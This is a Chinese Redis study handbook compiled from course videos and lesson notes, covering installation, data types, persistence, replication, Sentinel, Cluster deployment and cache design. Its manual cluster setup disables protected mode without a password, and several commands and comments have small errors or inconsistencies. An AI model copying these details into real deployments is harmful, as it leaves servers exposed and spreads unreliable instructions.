Redis完整学习手册(赵老师视频精华版)

Redis完整学习手册(视频精华版)

基于赵老师2个Redis教学视频 + 数据库运维XMind笔记 + G盘/F盘教案

标注说明:【面试必问】 = 面试高频考点 | 【教案补充】 = 教案文档细节补充 | 【知识拓展】 = 视频外Redis必备知识


Redis完整学习手册(视频精华版)

基于赵老师2个Redis教学视频 + 数据库运维XMind笔记 + G盘/F盘教案

标注说明:【面试必问】 = 面试高频考点 | 【教案补充】 = 教案文档细节补充 | 【知识拓展】 = 视频外Redis必备知识


第1章:Redis概述与安装部署

1.1 NoSQL与Redis定位

关系型 vs 非关系型数据库

维度 关系型数据库(MySQL等) NoSQL(Redis等)
数据模型 表、行、列,严格Schema 键值对、文档、图等灵活结构
ACID 完整支持事务 Redis支持简单事务(MULTI/EXEC)
扩展方式 垂直扩展为主 水平扩展,天然分布式
性能 受限于磁盘I/O 内存级读写(微秒级)
适用场景 复杂查询、事务、一致性要求高 高并发缓存、计数器、消息队列

【面试必问】Redis为什么这么快

  1. 纯内存操作:数据存在内存中,读写微秒级
  2. 单线程模型:避免多线程上下文切换和锁竞争(Redis 6.0+引入多线程I/O,但命令执行仍单线程)
  3. IO多路复用:基于epoll/kqueue等,单线程处理大量并发连接
  4. 高效数据结构:SDS简单动态字符串、ziplist压缩列表、skiplist跳跃表等

1.2 Redis典型应用场景

场景 实现方式 示例
Session共享 集中存储Session到Redis Web集群中多服务器共享登录态
缓存 热点数据缓存,减少DB压力 商品详情、文章内容、配置信息
计数器 INCR/DECR原子操作 浏览量、点赞数、库存扣减
排行榜 ZSet有序集合 游戏积分排行、热搜榜单
消息队列 List/Stream + Pub/Sub 异步任务、日志收集
分布式锁 SETNX + 过期时间 防止重复执行定时任务
地理位置 GEO数据类型 附近的人、外卖配送距离

1.3 Redis版本与演进

版本 关键特性
Redis 2.8 Sentinel哨兵高可用
Redis 3.0 Redis Cluster 正式版
Redis 5.0 Stream数据类型
Redis 6.0 ACL访问控制、多线程I/O
Redis 6.2 新命令:GETEX/SETEX增强
Redis 7.0 Redis Functions、MP/PUB子命令、AOF改进
Redis 7.2 当前最新稳定版(教案使用版本)

1.4 编译安装Redis

四要素

  • 机器:一台Linux服务器(CentOS 7.9 / openEuler 24.03)
  • 做什么:源码编译安装Redis 7.2.x
  • 完整命令:如下
  • 为什么:生产环境推荐编译安装,可自定义安装路径和优化参数
bash 复制代码
# === 1. 安装依赖 ===
yum install -y gcc make jemalloc-devel

# === 2. 下载并解压 ===
wget https://download.redis.io/releases/redis-7.2.4.tar.gz
tar xf redis-7.2.4.tar.gz -C /usr/src/
cd /usr/src/redis-7.2.4/

# === 3. 编译安装 ===
make -j$(nproc)                          # 使用所有CPU核心加速编译
make PREFIX=/usr/local/redis install     # 安装到指定目录

# === 4. 配置PATH ===
echo 'export PATH=$PATH:/usr/local/redis/bin' >> /etc/profile
source /etc/profile

# === 5. 创建用户和数据目录 ===
useradd -r -s /sbin/nologin redis
mkdir -p /data/redis/{conf,log,data}
chown -R redis:redis /data/redis

# === 6. 准备配置文件 ===
cp /usr/src/redis-7.2.4/redis.conf /data/redis/conf/

# 编辑关键参数
vim /data/redis/conf/redis.conf

关键配置参数

ini 复制代码
bind 0.0.0.0                  # 监听所有网卡(生产环境建议指定内网IP)
port 6379                     # 端口
daemonize yes                 # 守护进程
pidfile /data/redis/conf/redis_6379.pid
logfile /data/redis/log/redis.log
dir /data/redis/data/         # 数据目录
requirepass StrongP@ss123     # 认证密码(生产必设)
maxmemory 4gb                 # 最大内存
maxmemory-policy allkeys-lru  # 内存淘汰策略
protected-mode yes            # 保护模式(无密码时拒绝远程连接)
databases 16                  # 数据库数量
bash 复制代码
# === 7. 创建systemd服务 ===
cat > /usr/lib/systemd/system/redis.service << 'EOF'
[Unit]
Description=Redis persistent key-value database
After=network.target

[Service]
User=redis
Group=redis
PIDFile=/data/redis/conf/redis_6379.pid
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /data/redis/conf/redis.conf
ExecStop=/usr/local/redis/bin/redis-cli -a StrongP@ss123 shutdown
Restart=always

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now redis

1.5 客户端工具

redis-cli

bash 复制代码
# 本地连接
redis-cli

# 远程连接(带密码)
redis-cli -h 192.168.1.11 -p 6379 -a StrongP@ss123

# 进入后认证
127.0.0.1:6379> AUTH StrongP@ss123

# 测试连通性
127.0.0.1:6379> PING    # 返回 PONG

redis-benchmark(性能压测)

bash 复制代码
# 基准压测:10万请求,50并发
redis-benchmark -h 127.0.0.1 -p 6379 -n 100000 -c 50 -a StrongP@ss123

# 仅测试SET/GET
redis-benchmark -t set,get -n 100000 -q

redis-check-aof / redis-check-rdb

bash 复制代码
# 修复损坏的AOF文件
redis-check-aof --fix appendonly.aof

# 检查RDB文件
redis-check-rdb dump.rdb

第2章:Redis数据类型与常用命令

2.1 键(Key)通用操作

bash 复制代码
KEYS pattern         # 查看匹配的key(生产慎用!)
EXISTS key           # 判断key是否存在
DEL key              # 删除key
EXPIRE key seconds   # 设置过期时间(秒)
TTL key              # 查看剩余过期时间(秒)
TYPE key             # 查看数据类型
RENAME old new       # 重命名
MOVE key db          # 移动到其他数据库
SELECT index         # 切换数据库(0-15)
DBSIZE               # 当前数据库key数量
FLUSHDB              # 清空当前数据库(危险!)
FLUSHALL             # 清空所有数据库(危险!)

2.2 String(字符串)

【面试必问】最基础类型,key是字符串,value可以是字符串、整数、浮点数。最大512MB。

bash 复制代码
# 基本读写
SET key value
GET key

# 带过期时间
SET key value EX 60       # 60秒后过期

# 仅在不存在时设置(分布式锁基础)
SET lock_key value NX EX 30

# 批量操作
MSET k1 v1 k2 v2 k3 v3
MGET k1 k2 k3

# 追加
APPEND key "追加内容"

# 获取长度
STRLEN key

# 原子计数器
INCR key        # +1
DECR key        # -1
INCRBY key 10   # +10
DECRBY key 5    # -5

# 获取旧值并设置新值
GETSET key newvalue

应用场景

  • 缓存对象(JSON序列化存储)
  • 分布式锁(SETNX)
  • 计数器(INCR实现PV/UV统计)
  • Session共享

2.3 Hash(哈希)

一个Hash可以存储2^32-1个字段,适合存储对象。

bash 复制代码
# 设置单个字段
HSET user:1001 name "张三" age 25 city "北京"

# 获取
HGET user:1001 name         # "张三"
HGETALL user:1001           # 所有字段和值
HMGET user:1001 name age    # 获取多个字段

# 查看
HEXISTS user:1001 email     # 判断字段是否存在
HKEYS user:1001             # 所有字段名
HVALS user:1001             # 所有字段值
HLEN user:1001              # 字段数量

# 删除
HDEL user:1001 city

# 计数器
HINCRBY user:1001 age 1    # age+1

应用场景:用户信息、商品详情、购物车。

2.4 List(列表)

有序、可重复,双向链表实现,最多2^32-1个元素。

bash 复制代码
# 左端操作(头部)
LPUSH queue a b c       # 从左侧插入:c → b → a
LPOP queue              # 从左侧弹出

# 右端操作(尾部)
RPUSH queue x y z       # 从右侧插入:a → b → c → x → y → z
RPOP queue              # 从右侧弹出

# 查看
LRANGE queue 0 -1       # 查看全部(0到-1)
LLEN queue              # 长度
LINDEX queue 0          # 下标访问

# 阻塞式弹出(消息队列核心)
BLPOP queue 30          # 阻塞等待30秒
BRPOP queue 0           # 永久阻塞等待

# 修改
LSET queue 0 newval     # 修改指定下标
LTRIM queue 0 99        # 只保留前100个元素

应用场景:消息队列、最新消息列表、时间线。

2.5 Set(集合)

无序、不重复,基于哈希表实现。

bash 复制代码
# 添加/查看/删除
SADD tags "redis" "mysql" "linux"
SMEMBERS tags           # 查看所有成员
SREM tags "mysql"       # 删除
SCARD tags              # 成员数量
SISMEMBER tags "redis"  # 判断是否存在

# 集合运算
SINTER set1 set2        # 交集(共同关注)
SUNION set1 set2        # 并集
SDIFF set1 set2         # 差集(set1有而set2没有)

# 随机抽取
SRANDMEMBER tags 2      # 随机获取2个(不删除)
SPOP tags 1             # 随机弹出1个(删除)

应用场景:标签系统、共同好友、抽奖、去重。

2.6 Sorted Set(有序集合)

【面试必问】Set的升级版,每个成员关联一个score(分数),按score排序。底层:ziplist + skiplist(跳跃表)。

bash 复制代码
# 添加(score在前,member在后)
ZADD leaderboard 100 "player1" 200 "player2" 150 "player3"

# 排名查询
ZRANGE leaderboard 0 -1          # 从小到大
ZREVRANGE leaderboard 0 -1       # 从大到小
ZRANGE leaderboard 0 2 WITHSCORES  # 带分数

# 获取排名
ZRANK leaderboard "player1"      # 从小到大排名(0-based)
ZREVRANK leaderboard "player1"   # 从大到小排名

# 获取分数
ZSCORE leaderboard "player1"

# 按分数范围查询
ZRANGEBYSCORE leaderboard 100 200

# 删除
ZREM leaderboard "player1"
ZREMRANGEBYRANK leaderboard 0 10   # 删除排名最前的10个
ZREMRANGEBYSCORE leaderboard 0 100 # 删除分数0-100的

# 数量
ZCARD leaderboard
ZCOUNT leaderboard 100 200

跳跃表(skiplist)原理简述:在有序链表基础上增加多级索引,查找时间复杂度O(logN),与平衡树相当但实现更简单。Redis用skiplist实现ZSet的按score排序功能。

应用场景:排行榜、延时队列(score为执行时间戳)、带权重的消息队列。

2.7 其他数据类型

类型 用途 关键命令
Bitmap 位图,用于签到、在线状态 SETBIT / GETBIT / BITCOUNT
HyperLogLog 基数统计(UV),误差0.81% PFADD / PFCOUNT / PFMERGE
GEO 地理位置 GEOADD / GEORADIUS / GEODIST
Stream 持久化消息队列(5.0+) XADD / XREAD / XGROUP

第3章:Redis持久化

【面试必问------全章重点】

3.1 RDB(快照)

RDB是在指定时间间隔将内存数据快照写入磁盘文件dump.rdb

触发方式

bash 复制代码
# 1. 配置文件自动触发
save 900 1      # 900秒内至少1次修改
save 300 10     # 300秒内至少10次修改
save 60 10000   # 60秒内至少10000次修改

# 2. 手动触发
SAVE            # 同步(阻塞所有请求,不推荐)
BGSAVE          # 异步(fork子进程,后台执行,推荐)

# 3. 关闭RDB
# 注释所有save行,或:save ""

RDB优缺点

优点 缺点
单个紧凑文件,适合备份和灾难恢复 可能丢失最后一次快照后的数据
fork子进程,不影响主进程服务 fork子进程时内存翻倍风险
恢复大文件速度快于AOF 定期执行,非实时持久化

3.2 AOF(追加日志)

AOF记录每条写命令,追加到文件appendonly.aof末尾。

配置

ini 复制代码
appendonly yes                     # 开启AOF
appendfilename "appendonly.aof"    # AOF文件名

# fsync策略(核心参数)
appendfsync always    # 每条命令都fsync,最安全但性能最差
appendfsync everysec  # 每秒fsync一次,丢失最多1秒数据【生产推荐】
appendfsync no        # 由OS决定,约30秒一次

AOF重写

AOF文件会越来越大,需要定期重写(压缩):将多条修改同一key的命令压缩为最终值。

ini 复制代码
auto-aof-rewrite-percentage 100   # AOF文件增长100%时触发重写
auto-aof-rewrite-min-size 64mb    # AOF最小64MB才触发重写
bash 复制代码
# 手动触发AOF重写
BGREWRITEAOF

AOF重写原理:fork子进程,子进程根据当前内存数据生成新的AOF文件,主进程继续服务并把新命令同时写入旧AOF缓冲区和AOF重写缓冲区。子进程完成后,主进程把重写缓冲区的命令追加到新文件,原子替换旧AOF。

3.3 RDB vs AOF 对比

维度 RDB AOF
数据安全 可能丢失几分钟到几小时数据 最多丢失1秒(everysec)
文件大小 小(压缩二进制) 大(文本协议)
恢复速度 慢(需逐条重放命令)
对性能影响 fork时短暂影响 持续I/O影响,everysec影响很小
适用场景 可容忍数据丢失的缓存场景 数据持久性要求高的场景

【面试必问】生产环境持久化策略

同时开启RDB和AOF。Redis重启时优先使用AOF恢复(数据更完整)。推荐的配置:

  • AOF:appendfsync everysec
  • RDB:save 900 1 等策略作为AOF的补充备份

【知识拓展】Redis 4.0+ 混合持久化

aof-use-rdb-preamble yes:AOF重写时,前半部分用RDB格式(快),后半部分继续用AOF追加。兼顾了恢复速度和数据完整性。

3.4 AOF文件修复

bash 复制代码
# AOF文件损坏时的修复
redis-check-aof --fix appendonly.aof

# 手动修复:截断文件
# 找到文件末尾不完整的命令,删除即可

第4章:Redis主从复制

4.1 主从复制原理

【面试必问】Redis主从复制完整流程

复制代码
Master                         Slave
  │                              │
  │  1. Slave 执行 replicaof      │
  │     发送 PSYNC 命令 ────────► │
  │                              │
  │  2. Master 执行 BGSAVE       │
  │     生成 RDB 快照             │
  │  3. 发送 RDB + 缓冲区命令 ──► │  4. 清空旧数据
  │                              │     加载 RDB 快照
  │                              │     执行缓冲区命令
  │  5. 持续传播写命令 ─────────► │  6. 实时复制

详细步骤

  1. Slave执行 replicaof <master_ip> <master_port>,与Master建立socket连接
  2. Slave发送 PSYNC ? -1(首次复制)或 PSYNC <replication_id> <offset>(重连复制)
  3. Master fork子进程,执行BGSAVE生成RDB快照,同时用一个缓冲区记录生成RDB期间的写命令
  4. Master将RDB文件发送给Slave
  5. Slave清空自身数据,加载RDB快照
  6. Master将缓冲区中的写命令发送给Slave,Slave执行后数据与Master一致
  7. 进入命令传播阶段:Master的每次写命令实时发送给Slave

4.2 全量复制 vs 部分复制

维度 全量复制 部分复制
触发场景 首次连接、Slave重启、积压缓冲区溢出 短暂网络断开后重连
命令 PSYNC ? -1 PSYNC <repl_id> <offset>
数据量 全量RDB 仅缺失部分的命令
关键参数 --- repl-backlog-size(积压缓冲区大小)

【面试必问】部分复制三要素

  • replication_id:标识Master的ID,每次Master重启会变化
  • offset:复制偏移量,Master和Slave各自维护。差值在积压缓冲区范围内即可部分复制
  • repl-backlog-size :积压缓冲区大小,默认1MB。建议设置为 repl-backlog-size = 256mb,能容忍更长时间的断连

4.3 主从复制配置

四要素

  • 机器:Master (192.168.1.11) + Slave (192.168.1.12)
  • 做什么:搭建Redis一主一从复制
  • 完整命令:如下
  • 为什么:实现读写分离、数据冗余、高可用基础

Master配置

bash 复制代码
# /data/redis/conf/redis.conf
bind 0.0.0.0
requirepass "MasterP@ss123"
masterauth "MasterP@ss123"        # 自身作为从库时认证主库的密码
# RDB/AOF按需配置

Slave配置

bash 复制代码
# /data/redis/conf/redis.conf
bind 0.0.0.0
requirepass "SlaveP@ss123"

# 方式一:配置文件指定
replicaof 192.168.1.11 6379
masterauth "MasterP@ss123"       # 连接Master的认证密码

# 方式二:命令行指定(重启失效)
redis-cli -p 6379 -a SlaveP@ss123 replicaof 192.168.1.11 6379

验证

bash 复制代码
# 在Master查看复制状态
redis-cli -a MasterP@ss123 INFO replication
# role:master
# connected_slaves:1

# 在Slave查看
redis-cli -p 6379 -a SlaveP@ss123 INFO replication
# role:slave
# master_host:192.168.1.11

# 测试同步:Master写入
redis-cli -a MasterP@ss123 SET testkey "hello replication"

# Slave读取
redis-cli -p 6379 -a SlaveP@ss123 GET testkey
# "hello replication"

主从拓扑

拓扑 结构 适用
一主一从 1 Master + 1 Slave 最小冗余
一主多从 1 Master + N Slave 读写分离、多备份
树状 Master → Slave1 → Slave2(Slave1同时是Slave2的Master) 减轻Master复制压力

4.4 关键配置参数

参数 说明 建议值
replica-read-only yes 从库只读 默认yes
repl-diskless-sync no 无盘复制(直接网络传输RDB) 磁盘慢时开
repl-backlog-size 256mb 积压缓冲区大小 256MB
repl-backlog-ttl 3600 积压缓冲区释放时间 3600秒
min-replicas-to-write 1 最少从库数(少于此时拒绝写入) 保证数据安全
min-replicas-max-lag 10 从库最大延迟(秒) 配合上条使用

4.5 主从复制注意事项

  1. Slave只读 :默认replica-read-only yes,Slave不接受写命令
  2. 异步复制:Redis主从默认是异步的,Master写完即返回,不等待Slave确认
  3. 数据一致性:可能短暂不一致,Slave有一定延迟
  4. 主库故障:Slave不会自动升级为Master,需要手动或通过哨兵切换

第5章:Redis Sentinel哨兵

5.1 Sentinel概述

【面试必问】Sentinel解决的问题:主从模式中Master宕机后需要手动切换,Sentinel实现自动故障转移,保障高可用。

5.2 哨兵核心机制

三大定时任务

任务 间隔 作用
INFO 每10秒 Sentinel向所有节点(Master+Slave)发送INFO,发现新节点
PING 每1秒 Sentinel向所有节点发PING,检测存活
频道交换 每2秒 Sentinel之间通过__sentinel__:hello频道交换信息

主观下线(SDOWN)与客观下线(ODOWN)

复制代码
主观下线(Subjective Down):
  单个Sentinel认为节点不可达(PING超时)
  ↓
客观下线(Objective Down):
  多个Sentinel(>= quorum)都认为不可达
  → 触发故障转移
ini 复制代码
sentinel monitor mymaster 192.168.1.11 6379 2
# ↑ quorum=2:至少2个Sentinel认为Master下线才触发故障转移
sentinel down-after-milliseconds mymaster 5000
# ↑ 5秒无响应判定为SDOWN

故障转移流程(4步)

复制代码
1. 选举Leader Sentinel(Raft算法)
     ↓
2. Leader选定新Master(过滤→优先级→偏移量→运行ID)
     ↓
3. 通知其余Slave切换Master
     ↓
4. 更新配置,旧Master恢复后自动变为Slave

新Master选择规则(按优先级):

  1. 过滤掉不健康的Slave(下线、断连超时)
  2. 选择replica-priority最小的
  3. 偏移量(offset)最大的(数据最新)
  4. 运行ID最小的

5.3 哨兵部署

四要素

  • 机器:一主两从 + 三哨兵(可在同一主机不同端口)
  • 做什么:搭建Redis Sentinel高可用架构
  • 完整命令:如下
  • 为什么:实现自动故障转移

拓扑

复制代码
Master (6379)
  ├── Slave1 (6380)
  └── Slave2 (6381)

Sentinel1 (26380)
Sentinel2 (26381)
Sentinel3 (26382)

哨兵配置文件

bash 复制代码
# /data/26380/sentinel.conf
bind 0.0.0.0
port 26380
dir /data/26380
# 监控 mymaster 主库,quorum=1(至少1个Sentinel判定即触发)
sentinel monitor mymaster 192.168.1.11 6379 1
# 5秒无响应判定SDOWN
sentinel down-after-milliseconds mymaster 5000
# 认证密码
sentinel auth-pass mymaster StrongP@ss123
bash 复制代码
# 复制并修改端口,创建三个哨兵配置
mkdir -p /data/{26380,26381,26382}
cp sentinel.conf /data/26380/
cp sentinel.conf /data/26381/
cp sentinel.conf /data/26382/
sed -i 's/port 26380/port 26381/' /data/26381/sentinel.conf
sed -i 's/26380/26381/' /data/26381/sentinel.conf
sed -i 's/port 26380/port 26382/' /data/26382/sentinel.conf
sed -i 's/26380/26382/' /data/26382/sentinel.conf

启动哨兵

bash 复制代码
redis-sentinel /data/26380/sentinel.conf &
redis-sentinel /data/26381/sentinel.conf &
redis-sentinel /data/26382/sentinel.conf &

# 连接哨兵检查
redis-cli -p 26380
127.0.0.1:26380> PING          # PONG
127.0.0.1:26380> SENTINEL masters   # 查看主库
127.0.0.1:26380> SENTINEL slaves mymaster  # 查看从库

故障模拟与验证

bash 复制代码
# 杀掉Master
redis-cli -p 6379 -a StrongP@ss123 SHUTDOWN

# 查看哨兵日志
tail -f /data/26380/sentinel.log | grep switch
# +switch-master mymaster 192.168.1.11 6379 192.168.1.11 6381

# 验证:6381已成为新Master
redis-cli -p 6381 -a StrongP@ss123 INFO replication | grep role
# role:master

# 重新启动旧Master(6379),自动变为Slave
redis-server /data/redis/conf/redis.conf
redis-cli -p 6379 -a StrongP@ss123 INFO replication | grep role
# role:slave

【面试必问】哨兵数量为什么是>=3且奇数

避免脑裂。如果只有2个哨兵,一个与Master网络中断,会认为Master挂了然后选自己这边升主。奇数个保证总能形成多数派裁决(Raft/PAXOS协议要求N/2+1)。

5.4 客户端连接Sentinel

客户端应连接Sentinel而非直接连接Redis,由Sentinel返回当前Master地址:

python 复制代码
# Python示例(概念)
# 1. 连接Sentinel
# 2. sentinel.discover_master('mymaster') → 获取当前Master IP:Port
# 3. 连接Master进行读写
# 4. Master切换后Sentinel通知客户端重连

第6章:Redis Cluster集群

6.1 Cluster概述

【面试必问】为什么需要Cluster :哨兵解决了高可用,但仍是单机写入。Cluster解决水平扩展和写入瓶颈

模式 高可用 水平扩展 数据分片
单机
主从 ❌(手动)
哨兵
Cluster

6.2 Cluster核心原理

16384个Slot槽位

【面试必问】关键公式slot = CRC16(key) % 16384

复制代码
所有16384个槽位分配给多个Master节点:

  Master A: Slot 0-5460       (5461个)
  Master B: Slot 5461-10922   (5462个)
  Master C: Slot 10923-16383  (5461个)

写入 key="user:1001" → CRC16 → 6782 → 属于Master B

为什么是16384

  • 心跳包中可以压缩存储(2KB足够)
  • 节点数通常不会超过1000个,16384足够均匀分配

Gossip协议

集群节点间通过Gossip协议通信:

消息类型 作用
MEET 邀请节点加入集群
PING 心跳检测+传播自身状态
PONG 回应PING/MEET
FAIL 广播某节点下线

请求重定向

bash 复制代码
# 写入不在当前节点的key
127.0.0.1:7000> SET user:1001 "zhangsan"
(error) MOVED 6782 192.168.1.11:7002
# ↑ 告知key属于slot 6782,去7002节点操作

# 集群客户端自动处理重定向,手动操作时用 -c 参数
redis-cli -h 192.168.1.11 -p 7000 -c

6.3 手动部署Cluster(单机多实例)

四要素

  • 机器:一台服务器 192.168.166.9
  • 做什么:手动部署6节点Redis Cluster(3主3从)
  • 完整命令:如下
  • 为什么:生产环境通常用多台机器,此演示原理

节点规划

节点 端口 角色
Master1 6379 Master(Slot 0-5461)
Slave1 6380 Slave of Master1
Master2 6381 Master(Slot 5462-10922)
Slave2 6382 Slave of Master2
Master3 6383 Master(Slot 10923-16383)
Slave3 6384 Slave of Master3

创建配置并启动

bash 复制代码
# 1. 创建目录
mkdir /etc/redis
mkdir -p /var/lib/redis/{6379..6384}
mkdir -p /var/log/redis
mkdir -p /var/run/redis

# 2. 生成基础配置(以6379为模板)
cat > /etc/redis/6379.conf << 'EOF'
bind 192.168.166.9
port 6379
daemonize yes
pidfile /var/run/redis/6379.pid
logfile /var/log/redis/6379.log
dir /var/lib/redis/6379
protected-mode no
EOF

# 3. 复制并修改端口(6380-6384)
for i in {6380..6384}; do
    cp /etc/redis/6379.conf /etc/redis/${i}.conf
    sed -i "s/6379/${i}/g" /etc/redis/${i}.conf
done

# 4. 所有节点添加Cluster配置
for i in {6379..6384}; do
    cat >> /etc/redis/${i}.conf << EOF
cluster-enabled yes
cluster-config-file nodes-${i}.conf
cluster-node-timeout 15000
EOF
done

# 5. 启动所有实例
for i in {6379..6384}; do
    redis-server /etc/redis/${i}.conf
done

构建集群

bash 复制代码
# 6. 节点互相发现(MEET)
for i in {6380..6384}; do
    redis-cli -h 192.168.166.9 -p 6379 CLUSTER MEET 192.168.166.9 $i
done

# 7. 分配Slot(指定Master)
redis-cli -h 192.168.166.9 -p 6379 CLUSTER ADDSLOTS {0..5461}
redis-cli -h 192.168.166.9 -p 6381 CLUSTER ADDSLOTS {5462..10922}
redis-cli -h 192.168.166.9 -p 6383 CLUSTER ADDSLOTS {10923..16383}

# 8. 查看节点ID
redis-cli -h 192.168.166.9 -p 6379 CLUSTER NODES

# 9. 建立主从关系(使用对应Master ID)
redis-cli -h 192.168.166.9 -p 6380 CLUSTER REPLICATE <master1-id>
redis-cli -h 192.168.166.9 -p 6382 CLUSTER REPLICATE <master2-id>
redis-cli -h 192.168.166.9 -p 6384 CLUSTER REPLICATE <master3-id>

# 10. 验证集群状态
redis-cli -h 192.168.166.9 -p 6379 CLUSTER INFO
# cluster_state:ok
# cluster_slots_assigned:16384

快捷方式:redis-cli --cluster create

bash 复制代码
# 一键创建3主3从(替代手动步骤6-9)
redis-cli --cluster create \
    192.168.166.9:6379 192.168.166.9:6380 \
    192.168.166.9:6381 192.168.166.9:6382 \
    192.168.166.9:6383 192.168.166.9:6384 \
    --cluster-replicas 1 -a password
# --cluster-replicas 1: 每个Master配1个Slave

6.4 动态扩容与缩容

添加新节点

bash 复制代码
# 1. 启动新节点(7006,空slot)
redis-server /etc/redis/7006.conf

# 2. 加入集群
redis-cli --cluster add-node 192.168.166.9:7006 192.168.166.9:6379

# 3. 为其分配slot(从其他Master各拿一部分)
redis-cli --cluster reshard 192.168.166.9:7000
# 交互式:输入迁移slot数→目标节点ID→源节点(all/指定ID)

# 4. 添加Slave节点
redis-cli --cluster add-node 192.168.166.9:7007 192.168.166.9:6379 \
    --cluster-slave --cluster-master-id <7006的ID>

删除节点

bash 复制代码
# 1. 先迁移走该节点的slot
redis-cli --cluster reshard 192.168.166.9:6379 \
    --cluster-from <节点ID> --cluster-to <目标ID>

# 2. 删除节点
redis-cli --cluster del-node 192.168.166.9:6379 <节点ID>

6.5 Cluster命令速查

命令 作用
CLUSTER INFO 集群状态
CLUSTER NODES 列出所有节点
CLUSTER MEET <ip> <port> 将节点加入集群
CLUSTER REPLICATE <id> 设为指定Master的Slave
CLUSTER ADDSLOTS <slot...> 分配槽位
CLUSTER KEYSLOT <key> 计算key的slot
CLUSTER FAILOVER 手动故障转移

6.6 Cluster注意事项

  1. 不支持多数据库:Cluster下只能用db0,SELECT命令不可用
  2. 批量操作限制 :MSET/MGET等要求所有key在同一slot,否则报错。解决方案:用Hash Tag {user}:1001 {user}:1002 → 同一slot
  3. 事务限制:MULTI/EXEC中所有key也必须在同一slot
  4. Lua脚本限制:脚本中所有key也必须在同一slot
  5. 最小3主节点:少于3个Master时集群不可用
  6. 从节点不处理读 :默认从节点不处理客户端读请求(READONLY命令可临时开启)

第7章:Redis事务、消息队列与内存管理

7.1 Redis事务

【面试必问】Redis事务 vs MySQL事务

维度 MySQL(InnoDB) Redis
原子性 ✅ 完整回滚(ROLLBACK) ⚠️ 命令语法错误回滚,运行时错误不回滚
隔离性 多隔离级别 + MVCC 串行执行,执行期间不处理其他命令
持久性 Redo Log + Binlog 取决于持久化配置
一致性 约束(主键/外键/CHECK) 需开发者自行保证
bash 复制代码
# 事务基本命令
MULTI           # 开启事务
SET name "张三"  # 入队(不执行)
INCR counter    # 入队
EXEC            # 一次性执行所有入队命令

# 放弃事务
MULTI
SET a 1
DISCARD         # 放弃,所有已入队命令丢弃

# 乐观锁(Watch-Multi-Exec)
WATCH counter   # 监视key
GET counter       # 假设返回100
MULTI
SET counter 200   # 如果counter被其他客户端修改了,EXEC返回nil(执行失败)
EXEC              # 失败后需重新WATCH+重试
UNWATCH           # 取消监视

注意事项

  1. 入队阶段语法错误 → EXEC时整体失败
  2. 执行阶段运行时错误(如对String执行LPUSH) → 该命令报错,其他命令照常执行(非ROLLBACK)
  3. Cluster事务限制:所有key必须在同一slot,否则报错

7.2 发布订阅(Pub/Sub)

bash 复制代码
# 订阅频道
SUBSCRIBE channel1 channel2

# 发布消息
PUBLISH channel1 "hello world"

# 模式订阅(订阅所有以news.开头的频道)
PSUBSCRIBE news.*

# 取消订阅
UNSUBSCRIBE channel1
PUNSUBSCRIBE news.*

Pub/Sub特点

  • 消息即发即弃,不持久化
  • 订阅者离线期间的消息会丢失
  • 不保证消息送达

7.3 生产者消费者模式(List实现)

bash 复制代码
# 生产者:向List尾部推入任务
LPUSH task_queue "task1" "task2" "task3"

# 消费者:从List头部阻塞取出
BRPOP task_queue 0     # 0=永久阻塞等待,直到有数据

# 可多个消费者并行消费(自动负载均衡)

7.4 Redis内存管理

【面试必问------高频】

内存淘汰策略

当Redis内存使用达到maxmemory时,根据maxmemory-policy决定如何处理新写入:

策略 淘汰范围 淘汰对象
noeviction --- 不淘汰,拒绝新写入(返回error)
allkeys-lru 所有key 最近最少使用的key
volatile-lru 设置了过期时间的key 最近最少使用的
allkeys-lfu 所有key 最不经常使用的key
volatile-lfu 设置了过期时间的key 最不经常使用的
allkeys-random 所有key 随机
volatile-random 设置了过期时间的key 随机
volatile-ttl 设置了过期时间的key TTL最短的

生产推荐allkeys-lru(纯缓存场景,通用性最强)

ini 复制代码
maxmemory 4gb
maxmemory-policy allkeys-lru

LRU vs LFU

算法 全称 淘汰逻辑 适用
LRU Least Recently Used 最近最少使用(按时间) 热点随时间变化
LFU Least Frequently Used 最不经常使用(按频率) 热点相对稳定

7.5 缓存三大问题

【面试必问------Redis面试核心】

缓存穿透

定义:查询不存在的数据(攻击者故意查询大量不存在的key),请求穿透缓存直达数据库。

复制代码
解决方案:
├─ 1. 缓存空值:SET key null EX 60(简单,但有内存开销)
├─ 2. 布隆过滤器(BloomFilter):不存在的一定返回不存在,存在的可能误判
└─ 3. 参数校验:在入口过滤非法参数
python 复制代码
# 空值缓存示例(概念)
def get_user(user_id):
    user = redis.get(f"user:{user_id}")
    if user == "NULL":    # 缓存的空值
        return None
    if user:
        return user
    user = db.query(user_id)
    if user:
        redis.setex(f"user:{user_id}", 3600, user)
    else:
        redis.setex(f"user:{user_id}", 60, "NULL")  # 缓存空值
    return user

缓存击穿

定义:热点key过期瞬间,大量并发请求同时查询数据库。

复制代码
解决方案:
├─ 1. 互斥锁:SETNX获取锁,获取失败等待重试
├─ 2. 逻辑过期:value中存过期时间,业务发现过期后异步更新,旧数据仍可用
└─ 3. 永不过期:热点key不设过期时间,或使用后台任务定时刷新
python 复制代码
# 互斥锁方案(概念)
def get_hot_data(key):
    data = redis.get(key)
    if data:
        return data
    # 尝试获取锁
    lock_key = f"lock:{key}"
    if redis.set(lock_key, 1, nx=True, ex=10):
        data = db.query(key)
        redis.setex(key, 3600, data)
        redis.delete(lock_key)
        return data
    else:
        time.sleep(0.1)          # 等待
        return redis.get(key)    # 重试读缓存

缓存雪崩

定义:大量key在同一时间段过期(或Redis宕机),所有请求打到数据库,导致数据库崩溃。

复制代码
解决方案:
├─ 1. 过期时间加随机值:EXPIRE key 3600 + random(0, 600)
├─ 2. 高可用架构:主从+哨兵/Cluster,宕机自动切换
├─ 3. 本地缓存/eCache多级缓存:Redis挂了降级到本地缓存
├─ 4. 限流降级:Hystrix/Sentinel等限流框架保底
└─ 5. 数据库预热:提前将热点数据加载到缓存
bash 复制代码
# 随机过期示例
# 对批量设置的key添加随机过期时间
redis-cli SET key1 value1 EX $((3600 + RANDOM % 600))
redis-cli SET key2 value2 EX $((3600 + RANDOM % 600))

第8章:Redis实战案例------LNMP+Redis+Discuz部署

【教案补充】 本章来自G盘LNMP+Redis+Discuz企业级部署实战,展示Redis在PHP网站中的实际应用。

8.1 架构拓扑

复制代码
用户浏览器 → Nginx (负载均衡)
               ├── PHP-FPM (Web1) ─┐
               ├── PHP-FPM (Web2) ─┤
               └── PHP-FPM (Web3) ─┤
                                    ├── Redis (Session/缓存)
                                    ├── MySQL (持久化数据)
                                    └── NFS (附件/上传文件)
